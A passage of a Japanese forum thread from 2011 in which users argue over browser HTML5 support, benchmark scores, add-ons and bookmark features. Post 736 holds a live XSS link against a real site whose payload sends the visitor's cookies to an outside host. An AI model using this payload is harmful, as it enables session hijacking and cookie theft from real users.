IE9が対応してるのは、確定したものだけで、未確定のコードには対応していない。
いかにもGoogleはHTML5の機能に対応しました風に宣伝してるけど、これって詐欺に近いんだよね。
よくHTML5への対応度比較のサイトとかでてくるけど、確定したコードへの対応なら
IE9は100%対応と言える。
ほかは、自社の規格案やら、某標準化(標準に化けるための)団体が提出したHTML5の規格案を実装して足並みを乱してるだけ。


631 :名無しさん@お腹いっぱい。:2011/05/04(水) 15:40:02.74 ID:49ezMlsEP
ベンチマークは池沼専用
実際に使ってみなきゃ良し悪しなんてわからん

632 :名無しさん@お腹いっぱい。:2011/05/04(水) 15:44:56.15 ID:Z6/bweS6P
>>625
ChromeとFirefoxの最新版で測ってみたけど結果はほとんど変わらず。
つか11のほうがスコア低いね

633 :名無しさん@お腹いっぱい。:2011/05/04(水) 15:52:28.98 ID:cb7VuJjj0
IE9はcssのtext-shadowあたりは実装して欲しかったな box-shadowは実装してるんだし

634 :名無しさん@お腹いっぱい。:2011/05/04(水) 15:52:35.24 ID:oZ30KEoH0
Operaのタブを開く速度に惚れるわ

635 :名無しさん@お腹いっぱい。:2011/05/04(水) 15:56:15.55 ID:49ezMlsEP
Operaって背景とCSSに弱いよな
なんとかならんかな

636 :名無しさん@お腹いっぱい。:2011/05/04(水) 16:17:47.73 ID:HQ6UN42s0
>>630

HTML5 が正式に規定している規格とは異なるグループが策定しているが、
WebGL は HTML5 のほぼ必須機能と考えられてる、オープンな標準規格だよ。
仕様が確定してないつっても、「IE9 以外」では、サポートされてるしw
それに、仕様が確定する前から、ブラウザの実装を尊重して、
使用できるものから使うっていうのが今のスタイルでしょ。

そもそも、「仕様が確定してないと使えない!」っていうんなら、
CSS2.1 使っちゃいかんことになるだろーがw

そもそも、HTML5 対応状況をみてみれば、何言っているのかわかるよ。
ttp://html5test.com/index.html ←お前の使用しているブラウザの点数
ttp://html5test.com/results.html
IE9:130点
Safari5.03:228点
Firefox4:255点
Chrome11:293点

IE9 はまだまだ出来ない子w何が実装されていないかは、↑みれば
具体的にわかるよww

637 :名無しさん@お腹いっぱい。:2011/05/04(水) 16:49:48.37 ID:Z6/bweS6P
>>636
またお前か そのコピペ飽きたわ
IEはHTML5の確定規格は100%実装

お前はあとで実装されなかった機能があっても問題ないのか?
利用を薦めるのはいいが、その後サイトを改修する手間と費用を考えろ


638 :名無しさん@お腹いっぱい。:2011/05/04(水) 16:50:57.50 ID:Z6/bweS6P
Google株価ひどいことになってるな
どうしたんだ?
何かヤバい事態なのか?

639 :名無しさん@お腹いっぱい。:2011/05/04(水) 17:08:48.51 ID:HQ6UN42s0
>>637
また同じいいわけかwその言い訳聞きあきたわww
現実に、IE以外で出来るんだから、負け惜しみにしか聞こえないよww

http://webglsamples.googlecode.com/hg/aquarium/aquarium.html

http://webglsamples.googlecode.com/hg/blob/blob.html

http://webglsamples.googlecode.com/hg/blob/blob.html

http://webglsamples.googlecode.com/hg/fishtank/fishtank.html

640 :名無しさん@お腹いっぱい。:2011/05/04(水) 17:13:53.14 ID:2REcEHfl0
盛り上がってまいりました

641 :名無しさん@お腹いっぱい。:2011/05/04(水) 17:18:55.46 ID:Z6/bweS6P
HTML5の話なのにWebGLのURL貼ってドヤ顔とか恥ずかしいですねw

642 :名無しさん@お腹いっぱい。:2011/05/04(水) 17:35:26.80 ID:Z6/bweS6P
http://www.softpedia.com/progDownload/Joulemeter-Download-165079.html
PCの消費電力を計るツールが公開されてるね
これで図ってもIE9が一番省エネでした。


643 :名無しさん@お腹いっぱい。:2011/05/04(水) 17:56:24.16 ID:HQ6UN42s0
>>641
例えば、html5 内の規格サポート状況の例。

http://www.htmq.com/html5/005.shtml
IE9 では全部素通りで、他のブラウザだとある程度チェックしてくれる。

http://diaspar-journal.blogspot.com/2008/09/drag-drop-html5.html
IE9 ではドラッグ&ドロップ出来なくて、他のブラウザだと出来る。

っつーか、http://html5test.com/
のIE9 の結果がひどくて正視できなかったんだろ?
だから、そんなこと言い出す。

そもそも、IE だってHTML 関連の標準規格(例えばGeolocation)
の実装やってるやん。WebGL を実装していない言い訳が、
「HTML5 標準ならやってる」では苦しいと思うけど?
CSS だって、IE8 とかでは滅茶苦茶ひどかった(角丸ボックスさえ作れなかった)
のは有名事実だったわけで。
この言い訳も、HTML5 の話してるだろ!ってことかい?

HTML5 を軸とした、「Web 標準規格 の対応」の話をすべきだろ。

644 :名無しさん@お腹いっぱい。:2011/05/04(水) 18:02:53.07 ID:StaLDMeC0
メジャーなブラウザ間で互換性のある実装がされてない策定中の仕様なんて
標準とは呼べないよね。そんな仕様でベンチしてブラウザ比較とかキチガイレベル。
何年後かにはこれが標準で使えるんだね!すごいね!ってwktkしとけぼけ。

645 :名無しさん@お腹いっぱい。:2011/05/04(水) 18:18:12.84 ID:huvDCzvB0
Microsoftはもともと、標準規格ってやつが嫌いだからなー

646 :名無しさん@お腹いっぱい。:2011/05/04(水) 18:19:58.86 ID:Z6/bweS6P
>>643
WebGLなんて貼ってドヤ顔したつもりが、指摘されて顔真っ赤なんですね。
わかります。

頑張って書いたんですね。

647 :名無しさん@お腹いっぱい。:2011/05/04(水) 18:20:28.04 ID:Z6/bweS6P
>>645
というより、MSが標準みたいなw


648 :名無しさん@お腹いっぱい。:2011/05/04(水) 18:36:12.79 ID:oyDI8jDS0
一番シェアの高い製品が採用した規格=標準

649 :名無しさん@お腹いっぱい。:2011/05/04(水) 18:48:04.36 ID:HQ6UN42s0
>>646
馬鹿かwよく読んでおけw
>HTML5 が正式に規定している規格とは異なるグループが策定しているが、
>WebGL は HTML5 のほぼ必須機能と考えられてる、オープンな標準規格だよ

WebGLが、特定のブラウザに依存しない、オープンな標準規格なのに、
>特定のブラウザ依存の規格は標準じゃないんだよ。(>>630
って勘違いしていて、顔真っ赤なのはお前だろww

どうせ、IE が WebGL に対応したら、どや顔するんでしょ。わかりますw

650 :名無しさん@お腹いっぱい。:2011/05/04(水) 18:55:27.56 ID:huvDCzvB0
MSは成功すためには、デファクト・スタンダードを確立する事だと言ってるし
今までは圧倒的なソフトのシェアで支配してきたが、
インターネットの世界は圧倒的なシェアを取れ無かったから、支配することは出来なかったな


651 :名無しさん@お腹いっぱい。:2011/05/04(水) 19:12:23.74 ID:48YJsI8F0
確かに IE は 9 になるまでは
「ブラウザの速度で100分の1秒とか競って何の意味があるの?」
とか言ってたのに、IE9 になって他のブラウザに追いついた途端に
「IE軽くなった。他のブラウザおせえええ。」
ってドヤ顔してるな。
Direct2D/DirectWrite 使ってるサイトのパフォーマンス測って
IE厨がドヤ顔しているのはよく見た光景。


652 :名無しさん@お腹いっぱい。:2011/05/04(水) 19:14:33.16 ID:qrcd/lpG0
俺に取ってはIE厨というもの自体が極めてまぶしくみえるけどな。


653 :名無しさん@お腹いっぱい。:2011/05/04(水) 20:26:44.19 ID:1kOmBI7EP
IE9はRTMいれてもうちの環境だとメモリリークが結構あるみたいなんだよな@Vista64bit
サイドバーガジェットも動かしてるおかげか1日で1GBくらい喰ってるし。

654 :名無しさん@お腹いっぱい。:2011/05/04(水) 20:34:21.85 ID:ccdU/lcP0
GPUのベンチと同じで定番ベンチだけチューニングして
好スコア競う様になるの目に見えるなw

655 :名無しさん@お腹いっぱい。:2011/05/05(木) 01:09:34.49 ID:3nootFxu0
最近はGoogleの暴走が酷いからな
WebMのゴリ押しとか

656 :名無しさん@お腹いっぱい。:2011/05/05(木) 01:20:21.37 ID:CIrHZ/9F0
Flashの時代が永遠に続くよりはいいじゃないか。
どのみちH.264でまとまる可能性はなかったんだしさ。

657 :名無しさん@お腹いっぱい。:2011/05/05(木) 01:22:13.78 ID:IfxI+vJT0
脆弱だらけのFlashいつまでも押し付けられても迷惑だしな

658 :名無しさん@お腹いっぱい。:2011/05/05(木) 01:27:17.15 ID:KLKEOrgKP
とかいってたら数年後にHTML5の脆弱性問題が取りざたされてたりしてな

659 :名無しさん@お腹いっぱい。:2011/05/05(木) 01:30:46.73 ID:m2bHy5Eb0
>>655
WebMの方がいいだろ
未来を見ろよ

660 :名無しさん@お腹いっぱい。:2011/05/05(木) 03:05:01.15 ID:GkZJ08Ny0
>>651
>「ブラウザの速度で100分の1秒とか競って何の意味があるの?」

今は逆にChrome使いが「Chromeの速度でも実用上は問題ない」とか言ってるよ
それを言ったらFirefoxでも問題ないけど

661 :名無しさん@お腹いっぱい。:2011/05/05(木) 03:51:18.12 ID:2/Abn+7Q0
>>660
「ようやく IE9 が追いついた。」とか、「まだ Chrome の方が速いよ。」てのは聞くけど、
「Chrome で実用上問題がない」とかはあまり聞かないな。


662 :名無しさん@お腹いっぱい。:2011/05/05(木) 04:08:16.00 ID:YXdFgA3c0
実際世代違いのブラウザはともかく同じ世代なら速度なんて割とどうでもいいけどな
この5大ブラウザの最速と最遅で比べても
ブラウザ速度なんて殆どの場合トータルの作業時間に1割も影響与えてないでしょ

663 :名無しさん@お腹いっぱい。:2011/05/05(木) 04:17:52.34 ID:IfxI+vJT0
FireFoxは画像が多いサイト開くとき異様に遅いよ
下手すると他のブラウザの倍位かかる
作業効率悪すぎ

664 :名無しさん@お腹いっぱい。:2011/05/05(木) 08:44:05.78 ID:KLKEOrgKP
http://www.4gamer.net/specials/enchant/bench/

末尾のスコアが多きいほど高速で動作
■Windows 7 x64 Core i3-M350/2.27GHz GeForce 310M■
Internet Explorer 9(ver.9.0.8112.16421) 12590
Google Chrome(ver.10.0.648.204) 8121
Mozilla Firefox(ver.4.0.1) 4189
Safari(ver.5.0.5 build 7533.21.1) 4749
Opera(ver.11.10 build 2092) 1070
iPhone 4 543
HTC Desire 1859
■Windows 7 x64 Core2duo/2.66Ghz 460GTX■
Internet Explorer 9(ver.9.0.8112.16421) 13820
Google Chrome11 6921
Mozilla Firefox4 3989

■OSX v10.6 Core-i5 2.5GHz■
Google Chrome 11 2984
■OSX v10.6 Core2Duo 2GHz■
Google Chrome 11 2057

665 :名無しさん@お腹いっぱい。:2011/05/05(木) 09:08:57.75 ID:KtnihDe/0
確かに、現時点ではスピードの影響はは殆ど無いのかもしれない
だけどね、これからWebアプリ等がどんどん進化していくだろう、そのためにはスピードが重要になるだろう
スピードだけじゃなくて他の性能も進化していかないといけない、それにはブラウザどうしが競争していくことが必要じゃないかな

666 :名無しさん@お腹いっぱい。:2011/05/05(木) 11:02:34.88 ID:KLKEOrgKP
http://www.4gamer.net/specials/enchant/bench/
■OSX v10.6 Core-i5 2.5GHz■
Google Chrome 11
スコア2984
■OSX v10.6 Core2Duo 2GHz■
Google Chrome 11
スコア2057
■OSX v10.6 Quad-Core IntelXeon 2x2.8Ghz ATI-HD2600■
Firefox 4.0.1
スコア4657
■OSX v10.6 Core-7 2.8GHz ATI-HD4850■
Firefox 4.0.1
スコア4036
■OSX Intel Core-i5 2.53 GHz GT330M■
Firefox 4.0.1
スコア5147
■OSX Intel C2D 3.06GHz GF8600■
Firefox 4.0.1
スコア3564


667 :名無しさん@お腹いっぱい。:2011/05/05(木) 11:46:03.79 ID:KAevGISr0
>>666
OSX Intel C2D 2.4GHz GT320M ので
Google Chrome 11 のスコアが4800
Firefox 4.01 のスコア 5050 いくぞ?

何でそんなスコア悪いの?
裏で余計なプロセス常駐させすぎじゃね。


668 :名無しさん@お腹いっぱい。:2011/05/05(木) 12:14:01.91 ID:KLKEOrgKP
>>667
ああ、スコアが悪い理由は、たぶん最高解像度で最大化して撮ってるからじゃね?
新Mac板の集計だから信頼性は高いと思う。
メインのi7のゲームPCで1920x1440で撮ってみた結果はこれ
http://i.imgur.com/Mbn6S.png
■Win7 Intel C2D 2.6Ghz
IE 9.0.8112
Score 16179
Display 1920x1440

669 :名無しさん@お腹いっぱい。:2011/05/05(木) 12:31:31.48 ID:KAevGISr0
>>668
なるほど。確かにウチのモニタは解像度低いわ。納得した。

670 :名無しさん@お腹いっぱい。:2011/05/05(木) 12:52:31.39 ID:2/Abn+7Q0
単に enchantベンチ? が IE に最適化してるだけだろ。
そんなマイナーな Javascript でベンチマーク測ってどうすんだ?
てか、2Dドローしている時点で、Javascript の速度だけを測ってるわけじゃないでしょ。
どう見ても Direct2D/DirectDraw の GPU支援の影響かと。

IE9 のJavascriptエンジンはまだまだ遅いって。

<Javascriptベンチマークサイト御三家>−−−−−−−

ttp://v8.googlecode.com/svn/data/benchmarks/v3/run.html
(スコアが高い方が性能が高い)

ttp://www.webkit.org/perf/sunspider/sunspider.html
(タイムが低い方が性能が高い)
 *ちなみに、IE9 は、ここのベンチマークを基準に新Javascriptエンジンを開発した。
 で、他ブラウザに比べ圧倒的な性能を魅せつける→ハッカー達によって、チート発覚→
 ベンチマーク側が更新→真の実力計られちゃった/(^o^)\

ttp://krakenbenchmark.mozilla.org/
(タイムが低い方が性能が高い)
−−−−−−−−−−−−−−−−−−−−−−−−−
がんばれよ。IE9。
特定環境(Direct2D/DirectDrawが有効利用出来る環境))
では最速になるのは分かってるから。Nightly とかで既に抜かされてるけどw
てか、IE9が速いって言い張る人って、バカの一つ覚えで
Direct2D/DirectDraw が有効に働くのしか見せない(見えてないのか?)よね。

671 :名無しさん@お腹いっぱい。:2011/05/05(木) 12:57:23.18 ID:KLKEOrgKP
>>670
Enchatベンチは、ゲーム向けの機能を利用したベンチマークだから、ただ計算式をぶん回すタイプのベンチマークより現実的かと。


672 :名無しさん@お腹いっぱい。:2011/05/05(木) 13:27:18.61 ID:KLKEOrgKP
計算能力の高いPS3が、平均点の高いXbox360に勝てないみたいな感じだね


673 :名無しさん@お腹いっぱい。:2011/05/05(木) 13:41:04.95 ID:2/Abn+7Q0
>>671
2Dゲームは、ボードゲーム(オセロとか将棋とか)か、ショボイ2D ゲームしかできないでしょ。
それだったら、結局そんなに2Dグリグリ動かすような場面はあまり出てこないのよ。
60fps 出せれば十分すぎるゲームが多くなるので、実用面ではあまり問題にならない。

パフォーマンス上問題が起こるとすれば、3Dゲームや、複雑な 2Dゲームになるわな。
こっちはそれなりに性能を求められる。
特に本格的な 3D ゲームとなると、まだどのブラウザも絶対的な性能が足りない。
けどそういう場合は、Canvas2D 使わずに、3D の方使うのが普通になるから、
結局直接ハードを叩ける webGL とかの出番になる。
例えば
ttp://www.chromeexperiments.com/detail/tankworld/?f=webgl
とか、quakeII, III プロジェクトとか。

結論を言うと、実際的なゲームベンチとしても enchant は不適切。
なぜなら、そんなに enchant の対象としているゲーム自体、
2D 描画の負荷のかかるようなゲームを想定していないから。(アクション/シューティングでも60fpsでれば十分)
enchant の想定外の、複雑な描画が必要になるゲームをつくろうとする人達は、
結局WebGL などを活用することになるし。


674 :名無しさん@お腹いっぱい。:2011/05/05(木) 13:47:24.63 ID:2/Abn+7Q0
>>672
いや、IE9の性能が高いっつーのは、Direct2D/DirectDraw の GPU支援が効く場面だけだって。

WebGL みたいな高機能・高品質なゲームとかの場面だと、
描画に関しては直接ハード叩くことになって、ゲームエンジン部分は、JavaScript の性能のみが
影響するので、IE9 の出る幕は今のところないよ。そもそも描画すら出来ない。
JavaScript の性能がまだ Chrome 達に追いついていないことはご存知の通り。

まぁ、別に IE が出来ない子じゃないと思うから、
(ていうか、現状 Windows 依存のゲーム部門を、Web に移行させたくないという大人な理由だw)
ブラウザのシェアーが取られてしまう可能性があれば、いずれ対応すると思うけどねw


675 :名無しさん@お腹いっぱい。:2011/05/05(木) 14:21:33.23 ID:KLKEOrgKP
>>674
3DゲームならIEでやる必要ないじゃんw
普通にローカルでゲーム起動すれば良い。


676 :名無しさん@お腹いっぱい。:2011/05/05(木) 14:35:06.03 ID:7b48j9cu0
>3DゲームならIEでやる必要ないじゃんw普通にローカルでゲーム起動すれば良い。

>>675
なるほどっ!!目からウンコじゃ!!
今までそんなこと全く思いつかなかった
御ぬし只者ではないな

歓喜のあまり思わずレズをしたくなった

677 :名無しさん@お腹いっぱい。:2011/05/05(木) 15:05:16.01 ID:GkZJ08Ny0
大がかりなゲームをWebで完結させるメリットは無い
どうせローカルに巨大なキャッシュを置かないと駄目なんだから
素直にインストールする方がいい

678 :名無しさん@お腹いっぱい。:2011/05/05(木) 15:11:33.44 ID:tiyFGKg1P
ブラゲーで最強に重いやつってどれくらいなんだよ

679 :名無しさん@お腹いっぱい。:2011/05/05(木) 15:17:57.50 ID:2/Abn+7Q0
>>675
まだ Google の狙いわかってないんだなw

基本、WebGL がターゲットとしているのは、
デスクトップ市場がメインじゃなくて、
これから大きくハード台数が伸びると考えられている
スマートフォンやタブレットなんだよ。特にスマートフォンね。

スマートフォン・タブレット市場はいずれ Android の独擅場になるため、
Google は強力に推し進めているわけ。
それを、MS は非常に嫌がってんのよw

WebGL 自体、最新のゲームが出来る環境にはないが、
ユーザーが 3D を扱うには、十分なだけの性能があるし、
スマートフォンが扱う 3D としても、丁度いいくらいでしょ?

だから、携帯・スマートフォン・タブレット市場をターゲットにしている
今現在、ゲーム業界が色々興味津々で見ている状態。
スマホ等では、windows phone のシェアはカスみたいなもんだから、
デスクトップ市場とは逆に、無視できるわけ。
IE なんてそもそもないって話なのよw

デスクトップで、クライアントで動かせば良い、っていうのは、
一定の意味では、キミのいうのが正しい。

ただし、実はデスクトップのゲームよりも、モバイルゲーム市場の方が
美味いことが判明してきているので、Google とかはそこあたり
狙ってるってことね。既にAndroid は WebGL レディだし。

それと、デスクトップ側からの観点から見ると、一般的な3D利用の用途や、
ゲームデベロッパー側から見れば、補助アプリ的な場面で使えるかもしれないって感じかね。


680 :名無しさん@お腹いっぱい。:2011/05/05(木) 15:26:18.32 ID:+kdx2ktd0
>>679
どう考えてもGoogleとMSの狙いがわかった上で
確信犯的にIEマンセーしてる社畜系だろ。
もちろんこのスレだから、そういう意見もあっていい。

681 :名無しさん@お腹いっぱい。:2011/05/05(木) 16:51:13.92 ID:KLKEOrgKP
最速IE9は、WindowsPhone7にも搭載予定だね。


682 :名無しさん@お腹いっぱい。:2011/05/05(木) 22:23:59.32 ID:2/Abn+7Q0
最速()笑
WindowPhone7 ()笑

683 :名無しさん@お腹いっぱい。:2011/05/05(木) 22:38:06.56 ID:CNTrGT3U0
>>682
()笑というのがどういう意味なのか教えてもらえないか?

684 :名無しさん@お腹いっぱい。:2011/05/06(金) 00:00:53.73 ID:MGaCeNm10
PCのベンチマークの大定番 3DMark で有名な
FutureMark の作ったブラウザベンチマークサイトでスコアを比較してみよう!

http://clients.futuremark.com/peacekeeper/index.action

Microsoft や Google, Firefox のサイトのベンチマークよりは信頼がおけるし。



685 :名無しさん@お腹いっぱい。:2011/05/06(金) 00:09:04.58 ID:t+bFI5Hx0
で、どれが一番早いのよ

686 :名無しさん@お腹いっぱい。:2011/05/06(金) 00:12:30.15 ID:hblT83GJ0
>>685
>>684 で自分の目で確かめろ。

687 :名無しさん@お腹いっぱい。:2011/05/06(金) 02:05:27.13 ID:fpTX+NVV0
そもそもiPhoneのHTML5がカスだからブラウザで3Dゲームを作るデベロッパーはいないよ
普通にアプリで作ってそれぞれの機種向けに配信でしょ

iPhoneさえ無視すればHTML5でもそこそこいけるとは思うが、
それでもブラウザにさせる仕事では無いな
アプリではなくブラウザでやらないといけない理由が無いから
http://www.youtube.com/watch?v=a98L6uorAiE&feature=player_detailpage#t=119s

688 :名無しさん@お腹いっぱい。:2011/05/06(金) 08:35:58.88 ID:jM9zsSOd0
なんと言われようがfirefox

689 :名無しさん@お腹いっぱい。:2011/05/06(金) 10:16:22.40 ID:s0FzXNWX0
>>688
まだ IE9 より速いみたいだから何も問題ない。

690 :名無しさん@お腹いっぱい。:2011/05/06(金) 10:50:55.63 ID:Phd8Vl9o0
Firefoxはいろいろ入れていくと、どんどん遅くなるからな〜


Mozilla、Firefoxの「遅いアドオンのランキング」公表
http://internet.watch.impress.co.jp/docs/news/20110404_437327.html

691 :名無しさん@お腹いっぱい。:2011/05/06(金) 11:41:21.35 ID:pKaIrcFB0
Firefoxのアドオンは必須。起動は遅くてもいい
エロ巡り専用のOpera、普段使いのSafari
そしてChromeはSafariとキャラがかぶるからイラネ

692 :名無しさん@お腹いっぱい。:2011/05/06(金) 11:47:12.91 ID:s0FzXNWX0
>>690
IE9 もだろ。

693 :名無しさん@お腹いっぱい。:2011/05/06(金) 13:15:06.40 ID:3SS+Z6y4P
>>692
IE9は、遅くなるプラグインを常時監視している。
少しでも遅くなると、このアドオンが0.4秒動作を遅くしているけど止めますか? と聞いてくる。


694 :名無しさん@お腹いっぱい。:2011/05/06(金) 13:22:16.60 ID:LxjjkeoE0
ん?

695 :名無しさん@お腹いっぱい。:2011/05/06(金) 13:27:20.94 ID:06ECpulz0
>>693
そんなこと言われたくらいで外すアドオンなら最初から入れるなっていう。

696 :名無しさん@お腹いっぱい。:2011/05/06(金) 14:08:20.52 ID:09XOJduX0
>>693
それは分かってるけど、それ言ったらプラグイン導入できなくね?w
ていうか、あの警告かなりアホだよねw

697 :名無しさん@お腹いっぱい。:2011/05/06(金) 14:26:21.88 ID:OzCWtK+s0
どの程度遅くなってるのか統計とってくれればいいだけなんだがな
それがわかりやすく閲覧できるなら、そっちの方がいい
スピード云々よりもアドオンの使い勝手の方が優先するのが普通だし

698 :名無しさん@お腹いっぱい。:2011/05/06(金) 14:39:30.39 ID:3SS+Z6y4P
>>696
導入しなければいい。
Flash、Silverlight、それ以外で必要なプラグインがあるかい?


699 :名無しさん@お腹いっぱい。:2011/05/06(金) 14:46:51.63 ID:3SS+Z6y4P
>>697
IE9は統計データも表示できるよ。
自分の環境でコンマ何秒処理を使ってるのかまで詳細を一覧表示できる。


700 :名無しさん@お腹いっぱい。:2011/05/06(金) 15:35:02.85 ID:3+NTonG90
コンマ何秒とか、どうやって測ってんだろう
PCの時計だと1/10秒とか測れるほど正確じゃないし、それに秒単位でしか取得出来ないんじゃなかったかな

701 :名無しさん@お腹いっぱい。:2011/05/06(金) 15:42:49.31 ID:3SS+Z6y4P
エクセルのマクロでも100分の1秒まで取得できるのに、何故できないと思うんだ?
もしかしてJavascriptとかでの話?

702 :名無しさん@お腹いっぱい。:2011/05/06(金) 15:50:21.18 ID:JM3jTHaa0
ざっとググったが、マイクロ秒からナノ秒(!)オーダーでも計測できるらしいぞ
なんかすげえ

703 :名無しさん@お腹いっぱい。:2011/05/06(金) 15:59:01.79 ID:ZoAXbTFT0
胸が熱くなって参りました

704 :名無しさん@お腹いっぱい。:2011/05/06(金) 16:01:40.18 ID:3+NTonG90
タイムを測るには何らかのハードが必要になるでしょ
それを、コンピュタ言語が取得するってこと、言語は関係ないっしょ
調べたらCPUのクロック周波数とか使ってるのね、
前はPC内蔵の時計で秒単位でしか取得出来なかったと記憶していたもので、そう思ったんだよ
調べもせず、書いてゴメンね


705 :名無しさん@お腹いっぱい。:2011/05/07(土) 16:08:20.58 ID:X7IzvmOa0
クローム厨ってなんで俺が一番だみたいに威張ってるの?
ブックマークがポップアップとかマジ終わってるだろ

706 :名無しさん@お腹いっぱい。:2011/05/07(土) 16:16:04.25 ID:UNVtrhcZ0
>>705
よくつかうサイトはツールバーにアイコンだけ登録
それだけでも30以上入るだろ
滅多に行かないサイトを常に表示するのは無駄だから
ポップアップで充分だしURL入力する所で入力したほうが
アクセスが早い

707 :名無しさん@お腹いっぱい。:2011/05/07(土) 16:23:46.29 ID:X7IzvmOa0
よく使うのは30個未満だが
たまに一斉チェックする場合や管理する時ポップアップ式が不便すぎる
30個(アイコンのみ)でしか常に表示できませんじゃ
ライトユーザーしか満足しないよ

708 :名無しさん@お腹いっぱい。:2011/05/07(土) 16:28:44.50 ID:M9/Pkeb10
ライトユーザーはYahooだけ使えればおk

709 :名無しさん@お腹いっぱい。:2011/05/07(土) 16:35:04.52 ID:UNVtrhcZ0
>>707
ブックマークマネージャ開いて
別窓にしたらいいだけじゃん

710 :名無しさん@お腹いっぱい。:2011/05/07(土) 16:40:55.99 ID:X7IzvmOa0
>>709
不便すぎワロタ

711 :名無しさん@お腹いっぱい。:2011/05/07(土) 16:53:06.03 ID:UNVtrhcZ0
まぁ一斉にチェックするのもポップアップで不便しないし
ブックマークのエクステンションもあるし
複数のPC使ってると既に持ってるgoogleアカで
ブックマークやら設定やらが同期出来るのが良い

712 :名無しさん@お腹いっぱい。:2011/05/07(土) 16:59:00.66 ID:X7IzvmOa0
まぁ君の意見はそうとして
サイドバーに常に表示できるかできないかは、結構重要な要素だよ
一個開いたら閉じちゃうブックマークじゃねー

713 :名無しさん@お腹いっぱい。:2011/05/07(土) 17:10:51.28 ID:UNVtrhcZ0
Chromeに移るまでサイドブックマークスタイルだったが
オレには別に必要じゃなかったってだけだな。
Firefoxは別に否定はしないよ。
多くの人はブックマークなんて10前後登録しといて
必要な時にブックマーク検索するかぐぐれば済む話

714 :名無しさん@お腹いっぱい。:2011/05/07(土) 17:13:26.63 ID:q9BT5wBkP
ググって出るようなサイトなんて最初からブックマークせんよ

715 :名無しさん@お腹いっぱい。:2011/05/07(土) 17:15:37.61 ID:X7IzvmOa0
なんでFirefoxの話になってるんだろうなぁ〜

>多くの人はブックマークなんて10前後登録しといて
これどこソースよ
そんなんだからライトユーザーにしか受け入れられないんだってばよ

716 :名無しさん@お腹いっぱい。:2011/05/07(土) 17:23:38.95 ID:UNVtrhcZ0
10前後登録ってのはブックマークバーの話な
なんせサイドバーをずっと開く必要のあるやつなんて
全体的には少数派だよ

ソースは仕事先で回ったPCと知り合いのPC

717 :名無しさん@お腹いっぱい。:2011/05/07(土) 17:25:26.34 ID:X7IzvmOa0
分かったよこれがクロム厨なんだな
話題に出した俺が馬鹿だった忘れてくれ

718 :名無しさん@お腹いっぱい。:2011/05/07(土) 17:33:01.43 ID:cN3yxdzT0
ブックマーク10前後はChrome厨とやらでも異常なほうだろ

719 :名無しさん@お腹いっぱい。:2011/05/07(土) 17:33:44.74 ID:6mTpW4vI0
Google Chromeはライトユーザーが多い
多いだけならいいが、こいつらがChrome使ってる俺は情強みたいな
アピールしまくってるのが気に入らないしね

720 :名無しさん@お腹いっぱい。:2011/05/07(土) 17:39:36.20 ID:oOM14GtR0
IE6使ってるやつは今すぐしね

721 :名無しさん@お腹いっぱい。:2011/05/07(土) 17:43:09.51 ID:cN3yxdzT0
IE6使ってるやつ死ななくてもいいからネットワーク上から消えろ

722 :名無しさん@お腹いっぱい。:2011/05/07(土) 17:47:17.04 ID:tqyAtcz/0
IE9にシェアを喰われるのは、主にChromeなんだろうな
Fxユーザーは機能的にIEに満足できないだろうし
Operaはそもそも喰われるシェアがn(ry

でもま、常用するブックマークは、俺もスピードダイヤルに
登録してる20前後がせいぜいだわ
サイドバーはブックマークのためだけにあるわけじゃないから
それがない時点でChromeをメインには使えないけど

723 :名無しさん@お腹いっぱい。:2011/05/07(土) 17:48:53.87 ID:vVxkphsQP
履歴見るのにいちいちサイドバー使ってるの・・・?

724 :名無しさん@お腹いっぱい。:2011/05/07(土) 17:52:56.19 ID:tqyAtcz/0
俺?
メインがOperaだから、いろんなことにサイドバーを使ってるけど

725 :名無しさん@お腹いっぱい。:2011/05/07(土) 17:53:31.70 ID:oOM14GtR0
みんなサイドバーひらきっぱなしなの?

726 :名無しさん@お腹いっぱい。:2011/05/07(土) 17:54:10.02 ID:vVxkphsQP
>>724
例えば?

727 :名無しさん@お腹いっぱい。:2011/05/07(土) 17:58:45.71 ID:tqyAtcz/0
>>726
ダウンロード情報とか、ツイッターとか、Opera独自のメモとか、メールクライアントとか
便利だよ

728 :名無しさん@お腹いっぱい。:2011/05/07(土) 18:06:02.26 ID:3K9JnTMs0
>>722
http://gs.statcounter.com/#browser-JP-daily-20100501-20110501

これ見ると食われてるのはFireFoxが多いみたいだけど?

729 :名無しさん@お腹いっぱい。:2011/05/07(土) 18:08:40.57 ID:h03crUjtP
>>727
全部ブラウザでやる必要性がわからない。
専用クライアントのほうが楽だし使いやすい。


730 :名無しさん@お腹いっぱい。:2011/05/07(土) 18:13:57.17 ID:tqyAtcz/0
>>728
http://gs.statcounter.com/#browser_version-ww-monthly-201004-201104
まだIE9が反映されてない?
ただ、喰われるとしたらFirefoxからっていうのは、同意せざるを……

>>729
そう思うんならそれでいいんじゃね?

731 :名無しさん@お腹いっぱい。:2011/05/07(土) 20:26:56.19 ID:oOM14GtR0
>>730
これChromeのグラフ作る人色足りるかなwww
Chromeのバージョンの移行グラフがスムーズすぎてわろたw

IE6・・・しねっ

732 :名無しさん@お腹いっぱい。:2011/05/07(土) 20:28:46.36 ID:h03crUjtP
>>731
強制アップデートだからな


733 :名無しさん@お腹いっぱい。:2011/05/07(土) 21:12:58.68 ID:D61y4X8L0
Operaつて不思議なブラウザだね。俺は他のブラウザのバグ等見つけると
頭にきてつかえねーなこの糞がと思うが、Operaだと何故か応援したくなり
次の期待が膨らむ何故だろう

734 :名無しさん@お腹いっぱい。:2011/05/07(土) 21:22:24.74 ID:jPlBtaBf0
>>722
Chromeが食われるはずないじゃん。
IE9 に変えて何かよくなるのか?

735 :名無しさん@お腹いっぱい。:2011/05/07(土) 21:27:41.32 ID:oOM14GtR0
Firefoxはバージョン上がるたびにアドオンが使えなくなって使いたけりゃちょっといじれよってスタンスが治れば戻りたい

736 :名無しさん@お腹いっぱい。:2011/05/07(土) 22:13:46.91 ID:GeolvgG10
セッションハイジャック

あなたのブラウザは大丈夫?
http://www.sonyproductinformatie.nl/main/search.php?searchfield=%3Cimg%20onerror=location.href=%26quot;http://jp.opera.com/?%26quot;%2bdocument.cookie;%20src=http://google.com%3E&x=19&y=20

737 :名無しさん@お腹いっぱい。:2011/05/08(日) 03:11:42.44 ID:FZSNgJ5n0
IE9ヤバイ。IE9の文字間隔・互換モード・DOCTYPE宣言について
ttp://freesoft.tvbok.com/tips/net_tips/ie9_doctype.html

おれはWebデザインをしないからわからないけど大変そうだね
ネット初心者が見るような雑誌でIE以外を推奨する運動でも起こせないのか・・・

